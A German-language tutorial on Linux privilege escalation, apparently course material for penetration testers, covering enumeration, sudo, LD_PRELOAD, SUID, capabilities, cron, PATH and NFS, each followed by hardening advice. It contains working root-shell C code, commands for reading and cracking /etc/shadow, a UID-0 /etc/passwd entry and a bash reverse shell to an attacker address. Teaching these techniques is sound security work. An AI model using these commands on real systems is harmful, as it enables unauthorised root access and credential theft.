Linux Privilege Escalation
Linux Privilege Escalation
Privilege Escalation (Rechteausweitung) bezeichnet den Übergang von einem Konto mit geringen Rechten zu einem mit höheren Rechten – im Idealfall root. Technisch gesehen ist es das Ausnutzen einer Schwachstelle, eines Designfehlers oder einer Fehlkonfiguration, um Zugriff auf Ressourcen zu erlangen, die normalen Benutzern verwehrt sind.
Bei einem realen Penetrationstest erhält man den ersten Zugang (foothold) fast nie direkt als Administrator. Die Rechteausweitung ist deshalb der Schritt, der aus einem eingeschränkten Zugang echte Systemkontrolle macht: Passwörter zurücksetzen, Zugriffskontrollen umgehen, Konfigurationen ändern, Persistenz einrichten.
Grundregel: Sofern nicht eine einzelne Schwachstelle direkt eine root-Shell liefert, beruht Rechteausweitung fast immer auf Fehlkonfigurationen und zu laxen Berechtigungen. Genau deshalb ist dieser Artikel auch für die Verteidigerseite relevant – jeder Vektor endet mit einem Abschnitt zur Absicherung.
Enumeration
Enumeration ist immer der erste Schritt nach dem Zugang zu einem System. Anders als bei CTF-Maschinen endet ein Test nicht mit dem ersten Zugang – nach der Kompromittierung ist Enumeration genauso wichtig wie davor. Man verschafft sich einen Überblick über System, Benutzer, Dienste und Fehlkonfigurationen.
System identifizieren
- Hostname (verrät oft die Rolle im Netz, z. B. SQL-PROD-01)
- hostname
- Kernel und Architektur anzeigen (Basis für die Suche nach Kernel-Exploits)
- uname -a
- Kernelversion und ggf. installierter Compiler
- cat /proc/version
- Distribution und Version (modern, ersetzt /etc/issue)
- cat /etc/os-release
Jede dieser Angaben lässt sich fälschen. Für ein belastbares Bild immer mehrere Quellen vergleichen.
Prozesse und Umgebung
- Alle laufenden Prozesse mit Benutzer anzeigen
- ps aux
- Prozessbaum anzeigen
- ps axjf
- Umgebungsvariablen anzeigen (interessant
- PATH, LD_PRELOAD, HISTFILE)
- env
Ein Compiler oder Interpreter im PATH (gcc, python3, perl) kann später zum Bauen bzw. Ausführen von Exploit-Code genutzt werden.
Benutzer und Rechte
- Eigene UID, GID und Gruppen anzeigen
- id
- Rechte eines anderen Benutzers prüfen
- id it2XX-user
- Benutzer des Systems auflisten
- cat /etc/passwd
- Nur Benutzernamen extrahieren (z. B. für Brute-Force-Listen)
- cat /etc/passwd | cut -d ":" -f 1
- Nur echte Benutzer mit Home-Verzeichnis herausfiltern
- cat /etc/passwd | grep home
- Frühere Befehle des aktuellen Benutzers ansehen (selten mit Passwörtern)
- cat ~/.bash_history
- Sudo-Rechte des aktuellen Benutzers auflisten
- sudo -l
Bei der Suche nach versteckten Dateien immer -la verwenden – eine
.secret.txt wird von ls allein übersehen.
- Verzeichnisinhalt inklusive versteckter Dateien anzeigen
- ls -la
Netzwerk
Die alten Werkzeuge ifconfig, netstat und route
(Paket net-tools) sind veraltet und auf modernen Distributionen oft nicht mehr
vorinstalliert. Standard ist heute die ip-Suite und ss.
- Netzwerk-Interfaces anzeigen (Hinweis auf weitere Netze / Pivoting)
- ip a
- Routing-Tabelle anzeigen
- ip route
- Lauschende TCP-/UDP-Ports inkl. Prozess anzeigen (ersetzt netstat -tulpn)
- ss -tulpn
Sieht man Interfaces oder Routen in fremde Netze, ist das System möglicherweise ein Sprungbrett (Pivot) in ein weiteres Netzwerk.
Suche mit find
Das eingebaute find ist eines der wichtigsten Werkzeuge. Es erzeugt schnell
viele Fehlermeldungen (Permission denied), deshalb wird 2>/dev/null
angehängt, um die Ausgabe lesbar zu halten.
- Datei im aktuellen Verzeichnis suchen
- find . -name flag1.txt
- Dateien mit SUID-Bit finden (zentral für die spätere Ausnutzung)
- find / -perm -u=s -type f 2>/dev/null
- Weltbeschreibbare Verzeichnisse finden
- find / -writable -type d 2>/dev/null
- Nach Interpretern/Compilern suchen
- find / -name "python3*" 2>/dev/null
- find / -name "gcc*" 2>/dev/null
Automatisierte Werkzeuge
Diese Skripte sparen Zeit, können aber Vektoren übersehen und Fehlalarme erzeugen. Sie ersetzen kein Verständnis – sie beschleunigen nur die manuelle Arbeit. Welches Werkzeug läuft, hängt von der Zielumgebung ab (z. B. kein Python vorhanden → kein Python-Skript).
- LinPEAS (aktuell gepflegtes Repo peass-ng)
- Linux Smart Enumeration (übersichtliche, gestufte Ausgabe)
- Linux Exploit Suggester (LES)
Alle drei lassen sich vom Angreifer-Rechner per HTTP-Server bereitstellen und auf dem Ziel herunterladen (siehe Abschnitt Kernel-Exploits).
Kernel-Exploits
Prinzip: Der Kernel verwaltet die Kommunikation zwischen Speicher, Hardware und Anwendungen und läuft mit höchsten Rechten. Eine erfolgreiche Kernel-Schwachstelle führt daher potenziell direkt zu root.
Die Methodik ist einfach:
- Kernelversion ermitteln (
uname -a) - Exploit-Code für genau diese Version suchen
- Exploit ausführen
Warnung: Ein fehlgeschlagener Kernel-Exploit kann das System zum Absturz bringen. In einem realen Auftrag ist das nur zulässig, wenn dieses Risiko ausdrücklich im Scope vereinbart wurde. Immer zuerst verstehen, was der Exploit tut – manche verändern das System dauerhaft.
Recherche: Suchmaschinen, cvedetails.com,
searchsploit lokal, sowie LES. Nicht zu spezifisch nach der exakten
Kernelversion suchen – sonst gehen brauchbare Treffer verloren.
Historischer Kontext (wichtig fürs Verständnis, aber nicht mehr universell): Klassiker wie Dirty COW (CVE-2016-5195) oder PwnKit (CVE-2021-4034) eignen sich gut, um die Methodik zu zeigen, funktionieren auf aktuell gepatchten Systemen aber nicht mehr. Sie taugen als Lehrbeispiel, nicht als „läuft überall".
- Exploit-Code vom Angreifer-Rechner bereitstellen (moderne Python-3-Syntax)
- python3 -m http.server 8000
- Auf dem Ziel herunterladen
Absicherung: Zeitnahes Patch-Management, unattended-upgrades für
Sicherheitsupdates, Kernel-Livepatching wo verfügbar, sowie das Einschränken von
Compilern auf produktiven Systemen. Ein HIDS (in unseren Kursen Wazuh mit syscheck)
erkennt neu abgelegte Exploit-Dateien in /tmp.
Sudo
Prinzip: sudo erlaubt das Ausführen von Programmen mit root-Rechten.
Administratoren geben Benutzern manchmal gezielt einzelne Programme frei (z. B. darf ein
Junior-SOC-Analyst nmap mit root ausführen, ohne vollen root-Zugriff zu haben). Genau
diese Freigaben lassen sich oft missbrauchen.
- Eigene Sudo-Freigaben anzeigen
- sudo -l
Für jedes freigegebene Programm prüfen, ob es sich zum Ausbruch eignet. GTFOBins ist dafür die zentrale Referenz – filtert man dort nach „Sudo", zeigt es zu jedem Binary den passenden Ausbruch.
Anwendungsfunktionen ausnutzen
Manche Programme haben keinen fertigen GTFOBins-Eintrag, lassen sich aber über eigene
Funktionen missbrauchen. Beispiel Apache2: Die Option -f gibt eine alternative
Konfigurationsdatei an. Lädt man damit /etc/shadow, gibt die Fehlermeldung
die erste Zeile der Datei preis.
- /etc/shadow über eine erzwungene Apache-Fehlermeldung auslesen
- sudo apache2 -f /etc/shadow
LD_PRELOAD
Prinzip: LD_PRELOAD lädt eine gewählte Shared Library vor allen
anderen. Ist in der Sudo-Konfiguration env_keep+=LD_PRELOAD gesetzt, bleibt
die Variable auch unter sudo erhalten – man kann eine eigene Bibliothek einschleusen, die
beim Start eine root-Shell öffnet.
In der Ausgabe von sudo -l muss dazu env_keep+=LD_PRELOAD
auftauchen.
- Shared Library, die eine root-Shell startet (shell.c)
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
- Als Shared Object kompilieren
- gcc -fPIC -shared -o shell.so shell.c -nostartfiles
- Ein per sudo erlaubtes Programm mit LD_PRELOAD auf die eigene Library starten
- sudo LD_PRELOAD=/home/it2XX-user/shell.so apache2
Hinweis: LD_PRELOAD wird ignoriert, wenn die reale UID von der effektiven UID abweicht.
Absicherung: Sudo-Freigaben minimal halten (Prinzip der geringsten Rechte), niemals
Editoren, Interpreter oder Programme mit Shell-Escape freigeben, env_reset
aktiv lassen und env_keep nicht aufweichen. Jede Freigabe vorab gegen
GTFOBins prüfen. Sudo-Aufrufe werden protokolliert und lassen sich mit CrowdSec/Wazuh
auswerten.
SUID / SGID
Prinzip: Das SUID-Bit (Set User ID) bzw. SGID-Bit lässt eine Datei mit den
Rechten des Datei-Eigentümers bzw. der Gruppe laufen – nicht mit denen des
ausführenden Benutzers. Ist der Eigentümer root und das Binary missbrauchbar, führt das zu
root-Rechten. Solche Dateien tragen ein s in den Berechtigungen.
- Dateien mit SUID- oder SGID-Bit auflisten
- find / -type f -perm -04000 -ls 2>/dev/null
Gefundene Binaries mit GTFOBins (Filter SUID) abgleichen. Nicht jedes SUID-Binary ist ausnutzbar – oft braucht es Zwischenschritte.
Passwörter über /etc/shadow knacken
Erlaubt ein SUID-Binary (oder eine Fehlkonfiguration) das Lesen von /etc/shadow,
lässt sich daraus mit unshadow eine für John the Ripper knackbare Datei bauen.
- /etc/passwd und /etc/shadow zusammenführen
- unshadow passwd.txt shadow.txt > passwords.txt
- Mit John the Ripper und Wortliste knacken
- john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt
Neuen root-Benutzer anlegen
Erlaubt ein Vektor das Schreiben in /etc/passwd, kann man das Knacken
umgehen und direkt einen zweiten Benutzer mit UID 0 eintragen.
- Passwort-Hash erzeugen (SHA-512, entspricht modernen /etc/shadow-Hashes)
- openssl passwd -6 -salt xyz Passwort123
- Zeile in /etc/passwd (UID 0 = root); root
- /bin/bash liefert eine root-Shell
hacker:$6$xyz$<hash>:0:0:root:/root:/bin/bash
- Zum neuen Benutzer wechseln
- su hacker
Hinweis: Der alte Weg mit openssl passwd -1 (MD5) funktioniert noch,
ist aber nicht mehr repräsentativ – aktuelle Systeme nutzen SHA-512 ($6$).
Absicherung: SUID-Bestand regelmäßig inventarisieren und mit einem Soll-Zustand
vergleichen (Wazuh syscheck / FIM auf /etc/passwd, /etc/shadow
und SUID-Verzeichnissen). SUID von nicht benötigten Binaries entfernen
(chmod u-s), nosuid als Mount-Option für /tmp,
/home und Wechseldatenträger setzen.
Capabilities
Prinzip: Capabilities zerlegen die root-Allmacht in einzelne Fähigkeiten. Braucht
ein Programm nur eine Teilfähigkeit (z. B. rohe Sockets für ping), gibt man ihm genau die,
statt SUID-root. Bequem für Admins – aber eine falsch gesetzte Capability wie
cap_setuid ist ein direkter Weg zu root.
- Gesetzte Capabilities systemweit anzeigen
- getcap -r / 2>/dev/null
Interessant sind vor allem cap_setuid, cap_dac_read_search und
cap_dac_override. Zeigt die Ausgabe z. B. cap_setuid+ep bei einer
Kopie von vim oder python, lässt sich damit die UID auf 0 setzen.
- Beispiel
- python-Kopie mit cap_setuid nutzt setuid(0) für eine root-Shell
- ./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Die passende Payload zu jedem Binary steht bei GTFOBins unter „Capabilities". Anders als
SUID sind Capabilities nicht über die SUID-Suche auffindbar – man braucht
getcap.
Absicherung: Capabilities nur gezielt und minimal vergeben, Bestand mit
getcap -r / regelmäßig prüfen und in die FIM-Überwachung aufnehmen. Niemals
cap_setuid, cap_setgid oder cap_dac_* an Interpreter
oder Editoren binden.
Cron-Jobs
Prinzip: Cron-Jobs führen Skripte oder Programme zeitgesteuert aus – standardmäßig mit den Rechten ihres Eigentümers, nicht des aktuellen Benutzers. Läuft ein Job als root und man kann das ausgeführte Skript verändern, läuft das eigene Skript mit root-Rechten.
- Systemweite Cron-Jobs lesen (für alle Benutzer lesbar)
- cat /etc/crontab
In der Ausgabe interessieren Zeilen mit Benutzer root. In Testumgebungen
laufen Jobs oft jede Minute, in der Praxis eher täglich/wöchentlich.
Fall 1: Beschreibbares Skript
Ist das vom Cron-Job aufgerufene Skript für den eigenen Benutzer beschreibbar, ersetzt man
seinen Inhalt durch eine Reverse-Shell. (Reverse-Shell statt Bind-Shell, um die
Systemintegrität im Auftrag nicht zu gefährden. nc unterstützt
-e oft nicht – daher die Bash-Variante.)
- Inhalt des aufgerufenen Skripts durch eine Reverse-Shell ersetzen
#!/bin/bash bash -i >& /dev/tcp/10.0.2.2XX/6666 0>&1
- Listener auf dem Angreifer-Rechner starten
- nc -lnvp 6666
Fall 2: Skript fehlt, PATH relativ
Häufiges Change-Management-Problem: Ein Skript wird gelöscht, der Cron-Job bleibt. Ist der
Pfad nicht absolut angegeben, sucht cron entlang der PATH-Variable aus
/etc/crontab. Steht dort ein von uns beschreibbares Verzeichnis (oft das
Home-Verzeichnis) vor den Systempfaden, legt man dort ein gleichnamiges Skript ab.
- Prüfen, ob das Skript noch existiert
- locate antivirus.sh
Fehlt es, legt man ~/antivirus.sh mit der Reverse-Shell von oben an.
Fall 3: Wildcards
Findet man einen bestehenden Cron-Job, lohnt es, die verwendeten Werkzeuge zu verstehen.
tar, 7z, rsync u. a. lassen sich über ihre
Wildcard-Verarbeitung ausnutzen (wildcard injection), wenn der Job mit
* in einem beschreibbaren Verzeichnis arbeitet.
Absicherung: Skripte, die per root-Cron laufen, gehören root und dürfen nur für root
schreibbar sein (chmod 700, Verzeichnis ebenso). Immer absolute Pfade in
Cron-Jobs verwenden. Verwaiste Jobs im Change-Management sauber entfernen. FIM auf
Cron-Verzeichnisse und die referenzierten Skripte legen.
PATH
Prinzip: PATH ist die Umgebungsvariable, die dem System sagt, wo nach
ausführbaren Dateien gesucht wird. Für jeden Befehl ohne absoluten Pfad sucht Linux die
Verzeichnisse aus PATH der Reihe nach ab. Ruft ein SUID-Programm intern einen
Befehl ohne absoluten Pfad auf und man kann ein beschreibbares Verzeichnis vor die
Systempfade setzen, führt das SUID-Programm die untergeschobene Datei mit root aus.
Vor dem Test vier Fragen klären:
- Welche Verzeichnisse liegen im PATH?
- Hat der eigene Benutzer Schreibrechte in einem davon?
- Lässt sich PATH ändern?
- Gibt es ein SUID-Programm, das einen relativen Befehl aufruft?
- Aktuellen PATH anzeigen
- echo $PATH
Beispiel: Ein SUID-Programm ruft intern system("thm") auf – also ein Binary
namens thm ohne Pfad.
- Beschreibbare Verzeichnisse finden und bereinigt ausgeben
- find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
Meist ist /tmp am einfachsten beschreibbar, steht aber nicht im PATH.
- /tmp an den Anfang des PATH setzen
- export PATH=/tmp:$PATH
- /bin/bash als gesuchtes Binary „thm" hinterlegen und ausführbar machen
- echo "/bin/bash" > /tmp/thm
- chmod 777 /tmp/thm
Beim nächsten Start findet das SUID-Programm zuerst /tmp/thm und startet
damit – da es als root läuft, erhält man eine root-Shell.
Absicherung: In Skripten und Programmen immer absolute Pfade verwenden bzw. PATH innerhalb des Skripts fest setzen. Keine beschreibbaren Verzeichnisse im System-PATH. SUID-Programme, die externe Befehle aufrufen, sind grundsätzlich riskant – im Zweifel vermeiden.
NFS
Prinzip: Rechteausweitung ist nicht auf lokalen Zugriff beschränkt. Freigegebene
Verzeichnisse und Fernwartung (SSH, Telnet) helfen ebenfalls. Bei NFS ist die kritische
Option no_root_squash: Normalerweise bildet NFS den root des Clients auf den
unprivilegierten nfsnobody ab (root squashing). Ist
no_root_squash auf einer beschreibbaren Freigabe gesetzt, darf man dort als
root Dateien anlegen – inklusive einer Datei mit gesetztem SUID-Bit, die auf dem Ziel
dann als root läuft.
- NFS-Exportkonfiguration lesen (meist für Benutzer lesbar)
- cat /etc/exports
Nach Einträgen mit no_root_squash suchen.
- Vom Angreifer-Rechner exportierte Freigaben anzeigen
- showmount -e 10.0.2.2XX
- Freigabe lokal einhängen
- mkdir /tmp/nfs
- mount -o rw 10.0.2.2XX:/backups /tmp/nfs
- SUID-Executable, das /bin/bash startet (nfs.c)
int main() {
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
- Auf der eingehängten Freigabe als root kompilieren und SUID setzen
- gcc /tmp/nfs/nfs.c -o /tmp/nfs/nfs
- chmod +s /tmp/nfs/nfs
Da man beim Kompilieren auf der Freigabe root ist, gehört die Datei root und trägt das SUID-Bit. Auf dem Ziel liegt sie im selben Verzeichnis und liefert dort beim Aufruf eine root-Shell.
Absicherung: no_root_squash vermeiden – root_squash ist der
sichere Standard. Zusätzlich nosuid in den Export-Optionen setzen, Exporte auf
konkrete Hosts statt * beschränken, und NFS möglichst nur in vertrauenswürdigen
Netzsegmenten betreiben.
Zusammenfassung: Vorgehen
- Enumerieren – System, Benutzer, Prozesse, Netzwerk, SUID/Capabilities, Cron, PATH, NFS
- Fehlkonfiguration finden – jeden Fund gegen GTFOBins und den Soll-Zustand prüfen
- Ausnutzen – gezielt, im realen Auftrag risikoarm (Reverse-Shell statt Systemeingriff)
- Dokumentieren – Fund, Weg und Absicherung festhalten
Die Verteidigerperspektive zieht sich durch alle Vektoren: geringste Rechte, minimaler SUID-/Capability-/Sudo-Bestand, absolute Pfade, sauberes Change-Management und File-Integrity-Monitoring (in unseren Kursen Wazuh) decken den Großteil dieser Vektoren ab.